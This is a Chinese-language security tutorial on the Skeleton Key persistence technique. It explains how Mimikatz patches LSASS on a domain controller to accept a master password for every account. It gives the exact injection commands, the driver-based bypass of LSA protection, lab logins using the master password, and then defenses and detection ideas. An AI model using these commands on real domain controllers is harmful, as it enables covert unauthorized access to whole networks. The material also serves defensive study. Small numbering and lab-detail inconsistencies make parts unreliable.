一、开篇引入:为什么Skeleton Key是域环境权限维持的“隐形后门”?
在内网渗透的权限维持阶段,攻击者的核心诉求往往是获取长期稳定的域访问权限,同时尽可能降低被管理员发现的概率。传统后门如新增域管理员账号、修改SIDHistory属性等都容易留下明确的审计痕迹,而Skeleton Key(骨架密钥/万能密码)技术则是一类非常隐蔽的内存级后门手法:它不需要新增账号、不修改持久化配置,仅通过篡改域控制器的认证进程内存逻辑,即可让所有域用户在原有密码之外,额外认可一个预设的“万能密码”,且完全不影响正常用户的日常登录,直到域控制器重启才会失效。
这项技术自2014年被公开以来,一直是域权限维持场景下的经典研究标的,即使在当前Win Server 2016+普遍启用了LSA保护机制的背景下,仍可通过驱动层绕过实现利用,对域环境安全防御仍有较高的参考价值。
二、核心技术原理:它到底“劫持”了什么?
要理解Skeleton Key的原理,首先需要明确Windows域环境的认证核心组件:LSASS(Local Security Authority Subsystem Service,本地安全机构子系统服务),它是域控制器上负责处理所有身份认证请求的进程,无论是NTLM认证还是Kerberos票据签发,最终都会由LSASS校验用户提交的凭证是否与AD数据库中存储的哈希匹配。
Skeleton Key的本质就是对LSASS进程的内存进行热补丁(Patch):
攻击者先获得域控制器的本地管理员/域管理员权限,具备调试LSASS进程的能力(SeDebugPrivilege权限);
通过Mimikatz等工具的
skeleton模块,向LSASS内存中注入恶意代码片段,修改其密码校验逻辑:原本仅校验用户输入密码的哈希是否匹配,修改后会额外判断:如果用户输入的密码等于预设的“万能密码”(默认是mimikatz,也可自定义),则直接返回认证通过结果;补丁完成后,域内所有用户账号(包括域管理员、普通域用户)都同时支持两种认证方式:原有真实密码、预设的Skeleton Key万能密码,完全不干扰正常用户的日常使用。
需要注意的是:Skeleton Key仅修改内存中的认证逻辑,不会落地任何文件、不会修改AD数据库,因此域控制器重启后LSASS会重新加载原始逻辑,后门自动失效;同时它仅用于绕过认证,不具备提权能力,比如用普通域用户的账号+Skeleton Key登录,仍然只有普通域用户的权限。
三、完整利用实例(模拟实验环境)
以下为典型的域环境Skeleton Key注入与利用全流程,所有操作均在授权实验环境下进行:
1. 前置条件
实验环境:域控为Windows Server 2012 R2,域控主机名
DC God,已获取域管理员权限;测试用普通域主机:加入域的Win Server 2003客户端,域用户
WebServer。
2. 步骤1:验证初始权限状态
在普通域主机上,直接用域管理员账号+错误的密码尝试访问域控C盘共享,会被拒绝:
#当与DC域控主机没有建立连接的时候,执行命令时会报拒绝访问: dir \\owa2010cn-god\c$ # 提示“拒绝访问”#当使用收集到的凭据信息去发起连接之后,再次执行命令时,可正常执行命令。 net use \\owa2010cn-god\ipc$ "Admin12345" /user:god.org\administrator dir \\owa2010cn-god\c$3. 步骤2:域控上注入Skeleton Key
在域控上以管理员身份运行Mimikatz,执行以下命令:
# 提升调试权限 privilege::debug # 注入Skeleton Key,默认万能密码为mimikatz,也可通过参数自定义密码 misc::skeleton这一步是将万能密码注入"lsass.exe"的进程中:
执行成功后Mimikatz会返回补丁成功的提示,例如[RC4] decrypt patch OK等信息,代表LSASS进程已被修改。
4. 步骤3:利用万能密码访问域资源
回到普通域主机,无需知道域管理员真实密码,直接用任意域用户名(这里是administrator)+ 万能密码mimikatz即可建立IPC连接、访问域控资源:
# 建立IPC$连接 net use \\owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator # 列出域控C盘共享内容,此时可正常访问 dir \\owa2010cn-god\c$这种权限维持的方式有一定的缺点!因为Skeleton Key技术是被注入到“lsass.exe”进程的,所以他只存在内存中,如DC域控重启,“lsass.exe”进程将会重新加载,那么万能密码将失效!
甚至可以用普通域用户user01+mimikatz登录,但仅能获得user01的普通权限,印证了该技术不能提权的特性。
4. 重启DC域控之后,重新测试域内用户和DC通讯
net use \\owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator dir \\owa2010cn-god\c$5. 高版本系统适配说明
Windows Server 2012 R2及以上微软引入了LSA保护(RunAsPPL)机制,默认阻止对LSASS进程的内存注入,此时若要注入Skeleton Key,需要先通过Mimikatz加载mimidrv.sys内核驱动,移除LSASS的保护属性后再执行注入:
privilege::debug !+ !processprotect /process:lsass.exe /remove misc::skeleton该绕过方式依赖加载未签名的驱动,因此在开启了强制驱动签名校验、或部署了EDR的域控上难度会显著提升。
四、检测与防御方案(与时俱进的防护思路)
1. 基础防御措施
开启LSA受保护进程(RunAsPPL):在注册表
HKLM\SYSTEM\CurrentControlSet\Control\Lsa下创建DWORD值RunAsPPL=1,重启后生效,默认阻止用户态进程注入LSASS,大幅提升攻击门槛;强制驱动签名校验:禁止加载未签名的
mimidrv.sys类内核驱动,从根源上阻断高版本系统的绕过路径;应用白名单/EDR部署:域控制器上仅允许合法的系统进程运行,阻止Mimikatz等工具的落地与执行,可直接拦截注入操作;
启用多因素认证(MFA):即使攻击者获得Skeleton Key万能密码,没有第二认证因素也无法完成登录,彻底抵消该技术的风险。
2. 检测思路
日志监控:注入Skeleton Key时若使用了
mimidrv.sys驱动,系统会生成事件ID 4697(新服务安装)/4673(特权服务调用),可针对性配置SIEM告警规则;内存完整性校验:定期扫描域控LSASS进程的内存签名,检测是否存在非官方的补丁片段;
异常认证行为监控:若出现大量不同域账号使用相同密码认证成功、或Kerberos加密类型异常降级为RC4_HMAC_MD5(部分旧版Mimikatz注入时会触发),可作为疑似攻击特征排查。
五、合规警示
本文所有技术内容仅用于合法授权的网络安全研究、企业内部渗透测试、安全防御体系建设等正当场景,任何人不得将相关技术用于未经授权的系统入侵、数据窃取、破坏等违法活动。因违规使用造成的一切法律后果由行为人自行承担,与本文作者及传播平台无关。请始终遵守《网络安全法》等相关法律法规,坚持“先授权、后测试”的安全研究原则。